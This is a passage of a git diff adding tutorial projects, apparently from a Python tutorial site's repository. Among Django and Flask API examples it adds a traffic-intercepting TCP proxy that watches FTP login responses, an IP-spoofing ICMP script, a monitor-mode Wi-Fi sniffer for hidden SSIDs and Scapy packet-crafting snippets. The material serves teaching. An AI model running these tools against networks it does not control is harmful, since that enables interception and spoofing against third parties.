+<tr><td class="e">Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs </td></tr>
+</table>
+<table>
+<tr class="h"><th colspan="2">Websites and Infrastructure team</th></tr>
+<tr><td class="e">PHP Websites Team </td><td class="v">Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison </td></tr>
+<tr><td class="e">Event Maintainers </td><td class="v">Damien Seguy, Daniel P. Brown </td></tr>
+<tr><td class="e">Network Infrastructure </td><td class="v">Daniel P. Brown </td></tr>
+<tr><td class="e">Windows Infrastructure </td><td class="v">Alex Schoenmaker </td></tr>
+</table>
+<h2>PHP License</h2>
+<table>
+<tr class="v"><td>
+<p>
+This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file:  LICENSE
+</p>
+<p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+</p>
+<p>If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.
+</p>
+</td></tr>
+</table>
+</div></body></html>
\ No newline at end of file
diff --git a/python-standard-library/grep-clone/requirements.txt b/python-standard-library/grep-clone/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/python-standard-library/grep-clone/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/python-standard-library/tcp-proxy/README.md b/python-standard-library/tcp-proxy/README.md
new file mode 100644
index 00000000..f3dd655d
--- /dev/null
+++ b/python-standard-library/tcp-proxy/README.md
@@ -0,0 +1 @@
+# [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python)
\ No newline at end of file
diff --git a/python-standard-library/tcp-proxy/tcp_proxy.py b/python-standard-library/tcp-proxy/tcp_proxy.py
new file mode 100644
index 00000000..d27434ef
--- /dev/null
+++ b/python-standard-library/tcp-proxy/tcp_proxy.py
@@ -0,0 +1,147 @@
+import sys
+import socket
+import threading
+import time
+from typing import Optional, Tuple, Dict
+
+class TcpProxy:
+    def __init__(self):
+        self._local_addr: str = ""
+        self._local_port: int = 0
+        self._remote_addr: str = ""
+        self._remote_port: int = 0
+        self._preload: bool = False
+        self._backlog: int = 5
+        self._chunk_size: int = 16
+        self._timeout: int = 5
+        self._buffer_size: int = 4096
+        self._termination_flags: Dict[bytes, bool] = {
+            b'220 ': True,
+            b'331 ': True,
+            b'230 ': True,
+            b'530 ': True
+        }
+        
+    def _process_data(self, stream: bytes) -> None:
+        #Transform data stream for analysis
+        for offset in range(0, len(stream), self._chunk_size):
+            block = stream[offset:offset + self._chunk_size]
+            
+            # Format block representation
+            bytes_view = ' '.join(f'{byte:02X}' for byte in block)
+            text_view = ''.join(chr(byte) if 32 <= byte <= 126 else '.' for byte in block)
+            
+            # Display formatted line
+            print(f"{offset:04X}   {bytes_view:<{self._chunk_size * 3}}   {text_view}")
+    
+    def _extract_stream(self, conn: socket.socket) -> bytes:
+        #Extract data stream from connection
+        accumulator = b''
+        conn.settimeout(self._timeout)
+        
+        try:
+            while True:
+                fragment = conn.recv(self._buffer_size)
+                if not fragment:
+                    break
+                    
+                accumulator += fragment
+                
+                # Check for protocol markers
+                if accumulator.endswith(b'\r\n'):
+                    for flag in self._termination_flags:
+                        if flag in accumulator:
+                            return accumulator
+                            
+        except socket.timeout:
+            pass
+            
+        return accumulator
+    
+    def _monitor_stream(self, direction: str, stream: bytes) -> bytes:
+        # Monitor and decode stream content
+        try:
+            content = stream.decode('utf-8').strip()
+            marker = ">>>" if direction == "in" else "<<<"
+            print(f"{marker} {content}")
+        except UnicodeDecodeError:
+            print(f"{direction}: [binary content]")
+            
+        return stream
+    
+    def _bridge_connections(self, entry_point: socket.socket) -> None:
+        #Establish and maintain connection bridge
+        # Initialize exit point
+        exit_point = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            exit_point.connect((self._remote_addr, self._remote_port))
+            # Handle initial remote response
+            if self._preload:
+                remote_data = self._extract_stream(exit_point)
+                if remote_data:
+                    self._process_data(remote_data)
+                    processed = self._monitor_stream("out", remote_data)
+                    entry_point.send(processed)
+            # Main interaction loop
+            while True:
+                # Process incoming traffic
+                entry_data = self._extract_stream(entry_point)
+                if entry_data:
+                    print(f"\n[>] Captured {len(entry_data)} bytes incoming")
+                    self._process_data(entry_data)
+                    processed = self._monitor_stream("in", entry_data)
+                    exit_point.send(processed)
+                # Process outgoing traffic
+                exit_data = self._extract_stream(exit_point)
+                if exit_data:
+                    print(f"\n[<] Captured {len(exit_data)} bytes outgoing")
+                    self._process_data(exit_data)
+                    processed = self._monitor_stream("out", exit_data)
+                    entry_point.send(processed)
+                # Prevent CPU saturation
+                if not (entry_data or exit_data):
+                    time.sleep(0.1)
+        except Exception as e:
+            print(f"[!] Bridge error: {str(e)}")
+        finally:
+            print("[*] Closing bridge")
+            entry_point.close()
+            exit_point.close()
+    
+    def orchestrate(self) -> None:
+        # Orchestrate the proxy operation
+        # Validate input
+        if len(sys.argv[1:]) != 5:
+            print("Usage: script.py [local_addr] [local_port] [remote_addr] [remote_port] [preload]")
+            print("Example: script.py 127.0.0.1 8080 target.com 80 True")
+            sys.exit(1)
+        # Configure proxy parameters
+        self._local_addr = sys.argv[1]
+        self._local_port = int(sys.argv[2])
+        self._remote_addr = sys.argv[3]
+        self._remote_port = int(sys.argv[4])
+        self._preload = "true" in sys.argv[5].lower()
+        # Initialize listener
+        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        try:
+            listener.bind((self._local_addr, self._local_port))
+        except socket.error as e:
+            print(f"[!] Binding failed: {e}")
+            sys.exit(1)
+        listener.listen(self._backlog)
+        print(f"[*] Service active on {self._local_addr}:{self._local_port}")
+        # Main service loop
+        while True:
+            client, address = listener.accept()
+            print(f"[+] Connection from {address[0]}:{address[1]}")
+            bridge = threading.Thread(
+                target=self._bridge_connections,
+                args=(client,)
+            )
+            bridge.daemon = True
+            bridge.start()
+
+if __name__ == "__main__":
+    bridge = TcpProxy()
+    bridge.orchestrate()
\ No newline at end of file
diff --git a/scapy/crafting-packets/README.md b/scapy/crafting-packets/README.md
new file mode 100644
index 00000000..c57f5974
--- /dev/null
+++ b/scapy/crafting-packets/README.md
@@ -0,0 +1 @@
+# [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python)
\ No newline at end of file
diff --git a/scapy/crafting-packets/network_latency_measure.py b/scapy/crafting-packets/network_latency_measure.py
new file mode 100644
index 00000000..e5b1b43c
--- /dev/null
+++ b/scapy/crafting-packets/network_latency_measure.py
@@ -0,0 +1,21 @@
+server_ips = ["192.168.27.1", "192.168.17.129", "192.168.17.128"]
+
+from scapy.all import IP, ICMP, sr1
+import time
+
+def check_latency(ip):
+    packet = IP(dst=ip) / ICMP()
+    start_time = time.time()
+    response = sr1(packet, timeout=2, verbose=0)
+    end_time = time.time()
+    
+    if response:
+        latency = (end_time - start_time) * 1000  # Convert to milliseconds
+        print(f"[+] Latency to {ip}: {latency:.2f} ms")
+    else:
+        print(f"[-] No response from {ip} (possible packet loss)")
+
+for server_ip in server_ips:
+    check_latency(server_ip)
+
+   
diff --git a/scapy/crafting-packets/packet_craft.py b/scapy/crafting-packets/packet_craft.py
new file mode 100644
index 00000000..7d0f3399
--- /dev/null
+++ b/scapy/crafting-packets/packet_craft.py
@@ -0,0 +1,34 @@
+# Uncomment them and run according to the tutorial
+#from scapy.all import IP, TCP, send, UDP
+
+# # Step 1: Creating a simple IP packet
+# packet = IP(dst="192.168.1.1")  # Setting the destination IP
+# packet = IP(dst="192.168.1.1") / TCP(dport=80, sport=12345, flags="S")
+# print(packet.show())  # Display packet details
+# send(packet)
+
+
+############
+# from scapy.all import ICMP
+
+# # Creating an ICMP Echo request packet
+# icmp_packet = IP(dst="192.168.1.1") / ICMP()
+# send(icmp_packet)
+
+
+############
+# from scapy.all import UDP
+
+# # Creating a UDP packet
+# udp_packet = IP(dst="192.168.1.1") / UDP(dport=53, sport=12345)
+# send(udp_packet)
+
+
+
+###########
+# blocked_packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
+# send(blocked_packet)
+
+# allowed_packet = IP(dst="192.168.1.1") / UDP(dport=53)
+# send(allowed_packet)
+
diff --git a/scapy/crafting-packets/requirements.txt b/scapy/crafting-packets/requirements.txt
new file mode 100644
index 00000000..93b351f4
--- /dev/null
+++ b/scapy/crafting-packets/requirements.txt
@@ -0,0 +1 @@
+scapy
\ No newline at end of file
diff --git a/scapy/ip-spoofer/README.md b/scapy/ip-spoofer/README.md
new file mode 100644
index 00000000..7ff62c7d
--- /dev/null
+++ b/scapy/ip-spoofer/README.md
@@ -0,0 +1,4 @@
+# [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy)
+To run this:
+- `pip install -r requirements.txt`
+- `python ip_spoofer.py [target_ip]`
\ No newline at end of file
diff --git a/scapy/ip-spoofer/ip_spoofer.py b/scapy/ip-spoofer/ip_spoofer.py
new file mode 100644
index 00000000..bcb8dc0c
--- /dev/null
+++ b/scapy/ip-spoofer/ip_spoofer.py
@@ -0,0 +1,42 @@
+# Import the neccasary modules.
+import sys
+from scapy.all import sr, IP, ICMP
+from faker import Faker
+from colorama import Fore, init
+
+# Initialize colorama for colored console output.
+init()
+# Create a Faker object for generating fake data.
+fake = Faker()
+
+# Function to generate a fake IPv4 address.
+def generate_fake_ip():
+    return fake.ipv4()
+
+# Function to craft and send an ICMP packet.
+def craft_and_send_packet(source_ip, destination_ip):
+    # Craft an ICMP packet with the specified source and destination IP.
+    packet = IP(src=source_ip, dst=destination_ip) / ICMP()
+    # Send and receive the packet with a timeout.
+    answers, _ = sr(packet, verbose=0, timeout=5)
+    return answers
+
+# Function to display a summary of the sent and received packets.
+def display_packet_summary(sent, received):
+    print(f"{Fore.GREEN}[+] Sent Packet: {sent.summary()}\n")
+    print(f"{Fore.MAGENTA}[+] Response: {received.summary()}")
+
+# Check if the correct number of command-line arguments is provided.
+if len(sys.argv) != 2:
+    print(f"{Fore.RED}[-] Error! {Fore.GREEN} Please run as: {sys.argv[0]} <dst_ip>")
+    sys.exit(1)
+
+# Retrieve the destination IP from the command-line arguments.
+destination_ip = sys.argv[1]
+# Generate a fake source IP.
+source_ip = generate_fake_ip()
+# Craft and send the packet, and receive the response.
+answers = craft_and_send_packet(source_ip, destination_ip)
+# Display the packet summary for each sent and received pair.
+for sent, received in answers:
+    display_packet_summary(sent, received)
diff --git a/scapy/ip-spoofer/requirements.txt b/scapy/ip-spoofer/requirements.txt
new file mode 100644
index 00000000..e9252b0c
--- /dev/null
+++ b/scapy/ip-spoofer/requirements.txt
@@ -0,0 +1,3 @@
+scapy
+faker
+colorama
\ No newline at end of file
diff --git a/scapy/uncover-hidden-wifis/README.md b/scapy/uncover-hidden-wifis/README.md
new file mode 100644
index 00000000..dcd094d6
--- /dev/null
+++ b/scapy/uncover-hidden-wifis/README.md
@@ -0,0 +1 @@
+# [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python)
\ No newline at end of file
diff --git a/scapy/uncover-hidden-wifis/requirements.txt b/scapy/uncover-hidden-wifis/requirements.txt
new file mode 100644
index 00000000..9661693f
--- /dev/null
+++ b/scapy/uncover-hidden-wifis/requirements.txt
@@ -0,0 +1,2 @@
+scapy
+colorama
\ No newline at end of file
diff --git a/scapy/uncover-hidden-wifis/view_hidden_ssids.py b/scapy/uncover-hidden-wifis/view_hidden_ssids.py
new file mode 100644
index 00000000..cd05db05
--- /dev/null
+++ b/scapy/uncover-hidden-wifis/view_hidden_ssids.py
@@ -0,0 +1,58 @@
+# Operating system functions.
+import os
+# Import all functions from scapy library.
+from scapy.all import *
+# Import Fore from colorama for colored console output, and init for colorama initialization.
+from colorama import Fore, init
+# Initialize colorama
+init()
+
+# Set to store unique SSIDs.
+seen_ssids = set()
+
+
+# Function to set the wireless adapter to monitor mode.
+def set_monitor_mode(interface):
+    # Bring the interface down.
+    os.system(f'ifconfig {interface} down')
+    # Set the mode to monitor.
+    os.system(f'iwconfig {interface} mode monitor')
+    # Bring the interface back up.
+    os.system(f'ifconfig {interface} up')
+
+
+# Function to process Wi-Fi packets.
+def process_wifi_packet(packet):
+    # Check if the packet is a Probe Request, Probe Response, or Association Request.
+    if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq):
+        # Extract SSID and BSSID from the packet.
+        ssid = packet.info.decode('utf-8', errors='ignore')
+        bssid = packet.addr3
+
+        # Check if the SSID is not empty and not in the set of seen SSIDs, and if the BSSID is not the broadcast/multicast address.
+        if ssid and ssid not in seen_ssids and bssid.lower() != 'ff:ff:ff:ff:ff:ff':
+            # Add the SSID to the set.
+            seen_ssids.add(ssid)
+            # Print the identified SSID and BSSID in green.
+            print(f"{Fore.GREEN}[+] SSID: {ssid} ---->  BSSID: {bssid}")
+
+
+# Main function.
+def main():
+    # Define the wireless interface.
+    wireless_interface = 'wlan0'
+
+    # Set the wireless adapter to monitor mode.
+    set_monitor_mode(wireless_interface)
+
+    # Print a message indicating that sniffing is starting on the specified interface in magenta.
+    print(f"{Fore.MAGENTA}[+] Sniffing on interface: {wireless_interface}")
+
+    # Start sniffing Wi-Fi packets on the specified interface, calling process_wifi_packet for each packet, and disabling packet storage
+    sniff(iface=wireless_interface, prn=process_wifi_packet, store=0)
+
+
+# Check if the script is being run as the main program.
+if __name__ == "__main__":
+    # Call the main function.
+    main()
diff --git a/web-programming/news_project/README.md b/web-programming/news_project/README.md
new file mode 100644
index 00000000..82c66b9b
--- /dev/null
+++ b/web-programming/news_project/README.md
@@ -0,0 +1 @@
+# [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python)
\ No newline at end of file
diff --git a/web-programming/news_project/db.sqlite3 b/web-programming/news_project/db.sqlite3
new file mode 100644
index 00000000..33a4832e
Binary files /dev/null and b/web-programming/news_project/db.sqlite3 differ
diff --git a/web-programming/news_project/manage.py b/web-programming/news_project/manage.py
new file mode 100644
index 00000000..10b64696
--- /dev/null
+++ b/web-programming/news_project/manage.py
@@ -0,0 +1,22 @@
+#!/usr/bin/env python
+"""Django's command-line utility for administrative tasks."""
+import os
+import sys
+
+
+def main():
+    """Run administrative tasks."""
+    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings')
+    try:
+        from django.core.management import execute_from_command_line
+    except ImportError as exc:
+        raise ImportError(
+            "Couldn't import Django. Are you sure it's installed and "
+            "available on your PYTHONPATH environment variable? Did you "
+            "forget to activate a virtual environment?"
+        ) from exc
+    execute_from_command_line(sys.argv)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/web-programming/news_project/news_app/__init__.py b/web-programming/news_project/news_app/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/web-programming/news_project/news_app/admin.py b/web-programming/news_project/news_app/admin.py
new file mode 100644
index 00000000..312d626b
--- /dev/null
+++ b/web-programming/news_project/news_app/admin.py
@@ -0,0 +1,5 @@
+from django.contrib import admin
+from .models import *
+
+admin.site.register(Article)
+admin.site.register(Journalist)
diff --git a/web-programming/news_project/news_app/apps.py b/web-programming/news_project/news_app/apps.py
new file mode 100644
index 00000000..8e5c603c
--- /dev/null
+++ b/web-programming/news_project/news_app/apps.py
@@ -0,0 +1,6 @@
+from django.apps import AppConfig
+
+
+class NewsAppConfig(AppConfig):
+    default_auto_field = 'django.db.models.BigAutoField'
+    name = 'news_app'
diff --git a/web-programming/news_project/news_app/migrations/0001_initial.py b/web-programming/news_project/news_app/migrations/0001_initial.py
new file mode 100644
index 00000000..90cf8f05
--- /dev/null
+++ b/web-programming/news_project/news_app/migrations/0001_initial.py
@@ -0,0 +1,36 @@
+# Generated by Django 4.1.3 on 2023-01-12 10:42
+
+from django.db import migrations, models
+import django.db.models.deletion
+
+
+class Migration(migrations.Migration):
+
+    initial = True
+
+    dependencies = [
+    ]
+
+    operations = [
+        migrations.CreateModel(
+            name='Journalist',
+            fields=[
+                ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
+                ('first_name', models.CharField(max_length=60)),
+                ('last_name', models.CharField(max_length=60)),
+                ('bio', models.CharField(max_length=200)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Article',
+            fields=[
+                ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
+                ('title', models.CharField(max_length=120)),
+                ('description', models.CharField(max_length=200)),
+                ('body', models.TextField()),
+                ('location', models.CharField(max_length=120)),
+                ('publication_date', models.DateField()),
+                ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='articles', to='news_app.journalist')),
+            ],
+        ),
+    ]
diff --git a/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py b/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py
new file mode 100644
index 00000000..24962f60
--- /dev/null
+++ b/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py
@@ -0,0 +1,18 @@
+# Generated by Django 4.1.3 on 2023-02-20 14:54
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('news_app', '0001_initial'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='article',
+            name='publication_date',
+            field=models.DateField(auto_now_add=True),
+        ),
+    ]
diff --git a/web-programming/news_project/news_app/migrations/__init__.py b/web-programming/news_project/news_app/migrations/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc
new file mode 100644
index 00000000..6c2cd5fa
Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc differ
diff --git a/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc
new file mode 100644
index 00000000..ea271db7
Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc differ
diff --git a/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc
new file mode 100644
index 00000000..ead55c3b
Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc differ
diff --git a/web-programming/news_project/news_app/models.py b/web-programming/news_project/news_app/models.py
new file mode 100644
index 00000000..84d955e1
--- /dev/null
+++ b/web-programming/news_project/news_app/models.py
@@ -0,0 +1,22 @@
+from django.db import models
+
+
+class Journalist(models.Model):
+    first_name = models.CharField(max_length=60)
+    last_name = models.CharField(max_length=60)
+    bio = models.CharField(max_length=200)
+    def __str__(self):
+        return f"{ self.first_name } - { self.last_name }"
+
+class Article(models.Model):
+    author = models.ForeignKey(Journalist,
+                            on_delete=models.CASCADE,
+                            related_name='articles')
+    title = models.CharField(max_length=120)
+    description = models.CharField(max_length=200)
+    body = models.TextField()
+    location = models.CharField(max_length=120)
+    publication_date = models.DateField(auto_now_add=True)
+
+    def __str__(self):
+        return f"{ self.author } - { self.title }"
diff --git a/web-programming/news_project/news_app/serializers.py b/web-programming/news_project/news_app/serializers.py
new file mode 100644
index 00000000..cb7f2cf7
--- /dev/null
+++ b/web-programming/news_project/news_app/serializers.py
@@ -0,0 +1,27 @@
+from rest_framework import serializers
+from .models import *
+
+class JournalistSerializer(serializers.Serializer):
+    first_name = serializers.CharField(max_length=60)
+    last_name = serializers.CharField(max_length=60)
+    bio = serializers.CharField()
+
+class ArticleSerializer(serializers.Serializer):
+    title = serializers.CharField()
+    description = serializers.CharField()
+    body = serializers.CharField()
+    location = serializers.CharField()
+    author_id = serializers.IntegerField()
+
+    def create(self, validated_data):
+        return Article.objects.create(**validated_data)
+
+    def update(self, instance, validated_data):
+        instance.title = validated_data.get('title', instance.title)
+        instance.description = validated_data.get('description', instance.description)
+        instance.body = validated_data.get('body', instance.body)
+        instance.author_id = validated_data.get('author_id', instance.author_id)
+        instance.location = validated_data.get('location', instance.location)
+        instance.publication_date = validated_data.get('publication_date', instance.publication_date)
+        instance.save()
+        return instance
diff --git a/web-programming/news_project/news_app/tests.py b/web-programming/news_project/news_app/tests.py
new file mode 100644
index 00000000..7ce503c2
--- /dev/null
+++ b/web-programming/news_project/news_app/tests.py
@@ -0,0 +1,3 @@
+from django.test import TestCase
+
+# Create your tests here.
diff --git a/web-programming/news_project/news_app/urls.py b/web-programming/news_project/news_app/urls.py
new file mode 100644
index 00000000..affc3eab
--- /dev/null
+++ b/web-programming/news_project/news_app/urls.py
@@ -0,0 +1,10 @@
+from django.urls import path
+from .views import JournalistView, ArticleView, ArticleDetailView
+
+app_name="news_app"
+
+urlpatterns=[
+    path('journalist/', JournalistView.as_view() ),
+    path('article/', ArticleView.as_view() ),
+    path('article/<int:pk>/', ArticleDetailView.as_view()),
+]
diff --git a/web-programming/news_project/news_app/views.py b/web-programming/news_project/news_app/views.py
new file mode 100644
index 00000000..9540db8d
--- /dev/null
+++ b/web-programming/news_project/news_app/views.py
@@ -0,0 +1,42 @@
+from django.shortcuts import render
+
+from rest_framework.response import Response
+from rest_framework.views import APIView
+
+from .models import *
+from .serializers import JournalistSerializer, ArticleSerializer
+# Create your views here.
+from rest_framework.generics import get_object_or_404
+
+
+class JournalistView(APIView):
+    def get (self, request):
+        journalists = Journalist.objects.all()
+        serializer = JournalistSerializer(journalists, many=True)
+        return Response({"journalists":serializer.data})
+
+class ArticleView(APIView):
+    def get (self, request):
+        articles = Article.objects.all()
+        serializer = ArticleSerializer(articles, many=True)
+        return Response({"articles":serializer.data})
+
+    def post(self, request):
+        serializer = ArticleSerializer(data=request.data)
+        if serializer.is_valid(raise_exception=True):
+            saved_article = serializer.save()
+        return Response({"success": "Article '{}' created successfully".format(saved_article.title)})
+
+
+class ArticleDetailView(APIView):
+    def put(self, request, pk):
+        saved_article = get_object_or_404(Article.objects.all(), pk=pk)
+        serializer = ArticleSerializer(instance=saved_article, data=request.data, partial=True)
+        if serializer.is_valid(raise_exception=True):
+            article_saved = serializer.save()
+        return Response({"success": "Article '{}' updated successfully".format(article_saved.title)})
+
+    def delete(self, request, pk):
+        article = get_object_or_404(Article.objects.all(), pk=pk)
+        article.delete()
+        return Response({"message": "Article with id `{}` has been deleted.".format(pk)},status=204)
diff --git a/web-programming/news_project/news_project/__init__.py b/web-programming/news_project/news_project/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/web-programming/news_project/news_project/asgi.py b/web-programming/news_project/news_project/asgi.py
new file mode 100644
index 00000000..984b7960
--- /dev/null
+++ b/web-programming/news_project/news_project/asgi.py
@@ -0,0 +1,16 @@
+"""
+ASGI config for news_project project.
+
+It exposes the ASGI callable as a module-level variable named ``application``.
+
+For more information on this file, see
+https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/
+"""
+
+import os
+
+from django.core.asgi import get_asgi_application
+
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings')
+
+application = get_asgi_application()
diff --git a/web-programming/news_project/news_project/settings.py b/web-programming/news_project/news_project/settings.py
new file mode 100644
index 00000000..4647e327
--- /dev/null
+++ b/web-programming/news_project/news_project/settings.py
@@ -0,0 +1,125 @@
+"""
+Django settings for news_project project.
+
+Generated by 'django-admin startproject' using Django 4.1.2.
+
+For more information on this file, see
+https://docs.djangoproject.com/en/4.1/topics/settings/
+
+For the full list of settings and their values, see
+https://docs.djangoproject.com/en/4.1/ref/settings/
+"""
+
+from pathlib import Path
+
+# Build paths inside the project like this: BASE_DIR / 'subdir'.
+BASE_DIR = Path(__file__).resolve().parent.parent
+
+
+# Quick-start development settings - unsuitable for production
+# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/
+
+# SECURITY WARNING: keep the secret key used in production secret!
+SECRET_KEY = 'django-insecure-*#k+r4uiqb!=o1sn7!c(i%f)9t00s4gmzjzurmznvbphey3ie2'
+
+# SECURITY WARNING: don't run with debug turned on in production!
+DEBUG = True
+
+ALLOWED_HOSTS = []
+
+
+# Application definition
+
+INSTALLED_APPS = [
+    'django.contrib.admin',
+    'django.contrib.auth',
+    'django.contrib.contenttypes',
+    'django.contrib.sessions',
+    'django.contrib.messages',
+    'django.contrib.staticfiles',
+    'news_app',
+    'rest_framework',
+]
+
+MIDDLEWARE = [
+    'django.middleware.security.SecurityMiddleware',
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    'django.middleware.common.CommonMiddleware',
+    'django.middleware.csrf.CsrfViewMiddleware',
+    'django.contrib.auth.middleware.AuthenticationMiddleware',
+    'django.contrib.messages.middleware.MessageMiddleware',
+    'django.middleware.clickjacking.XFrameOptionsMiddleware',
+]
+
+ROOT_URLCONF = 'news_project.urls'
+
+TEMPLATES = [
+    {
+        'BACKEND': 'django.template.backends.django.DjangoTemplates',
+        'DIRS': [],
+        'APP_DIRS': True,
+        'OPTIONS': {
+            'context_processors': [
+                'django.template.context_processors.debug',
+                'django.template.context_processors.request',
+                'django.contrib.auth.context_processors.auth',
+                'django.contrib.messages.context_processors.messages',
+            ],
+        },
+    },
+]
+
+WSGI_APPLICATION = 'news_project.wsgi.application'
+
+
+# Database
+# https://docs.djangoproject.com/en/4.1/ref/settings/#databases
+
+DATABASES = {
+    'default': {
+        'ENGINE': 'django.db.backends.sqlite3',
+        'NAME': BASE_DIR / 'db.sqlite3',
+    }
+}
+
+
+# Password validation
+# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators
+
+AUTH_PASSWORD_VALIDATORS = [
+    {
+        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
+    },
+    {
+        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
+    },
+    {
+        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
+    },
+    {
+        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
+    },
+]
+
+
+# Internationalization
+# https://docs.djangoproject.com/en/4.1/topics/i18n/
+
+LANGUAGE_CODE = 'en-us'
+
+TIME_ZONE = 'UTC'
+
+USE_I18N = True
+
+USE_TZ = True
+
+
+# Static files (CSS, JavaScript, Images)
+# https://docs.djangoproject.com/en/4.1/howto/static-files/
+
+STATIC_URL = 'static/'
+
+# Default primary key field type
+# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field
+
+DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
diff --git a/web-programming/news_project/news_project/urls.py b/web-programming/news_project/news_project/urls.py
new file mode 100644
index 00000000..ff163cdf
--- /dev/null
+++ b/web-programming/news_project/news_project/urls.py
@@ -0,0 +1,22 @@
+"""news_project URL Configuration
+
+The `urlpatterns` list routes URLs to views. For more information please see:
+    https://docs.djangoproject.com/en/4.1/topics/http/urls/
+Examples:
+Function views
+    1. Add an import:  from my_app import views
+    2. Add a URL to urlpatterns:  path('', views.home, name='home')
+Class-based views
+    1. Add an import:  from other_app.views import Home
+    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
+Including another URLconf
+    1. Import the include() function: from django.urls import include, path
+    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
+"""
+from django.contrib import admin
+from django.urls import path,include
+
+urlpatterns = [
+    path('admin/', admin.site.urls),
+    path('api/',include('news_app.urls')),
+]
diff --git a/web-programming/news_project/news_project/wsgi.py b/web-programming/news_project/news_project/wsgi.py
new file mode 100644
index 00000000..712af45f
--- /dev/null
+++ b/web-programming/news_project/news_project/wsgi.py
@@ -0,0 +1,16 @@
+"""
+WSGI config for news_project project.
+
+It exposes the WSGI callable as a module-level variable named ``application``.
+
+For more information on this file, see
+https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/
+"""
+
+import os
+
+from django.core.wsgi import get_wsgi_application
+
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings')
+
+application = get_wsgi_application()
diff --git a/web-programming/news_project/requirements.txt b/web-programming/news_project/requirements.txt
new file mode 100644
index 00000000..d80bd138
--- /dev/null
+++ b/web-programming/news_project/requirements.txt
@@ -0,0 +1,2 @@
+django
+djangorestframework
\ No newline at end of file
diff --git a/web-programming/restful-api-flask/README.md b/web-programming/restful-api-flask/README.md
new file mode 100644
index 00000000..33cae8c8
--- /dev/null
+++ b/web-programming/restful-api-flask/README.md
@@ -0,0 +1 @@
+# [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python)
\ No newline at end of file
diff --git a/web-programming/restful-api-flask/app.py b/web-programming/restful-api-flask/app.py
new file mode 100644
index 00000000..32e7fcf8
--- /dev/null
+++ b/web-programming/restful-api-flask/app.py
@@ -0,0 +1,22 @@
+from flask import Flask
+from flask_restful import Api
+from models import db
+import config
+from resources import TaskList
+
+# Create the Flask application and the Flask-RESTful API manager.
+app = Flask(__name__)
+app.config.from_object(config)
+# Initialize the Flask-SQLAlchemy object.
+db.init_app(app)
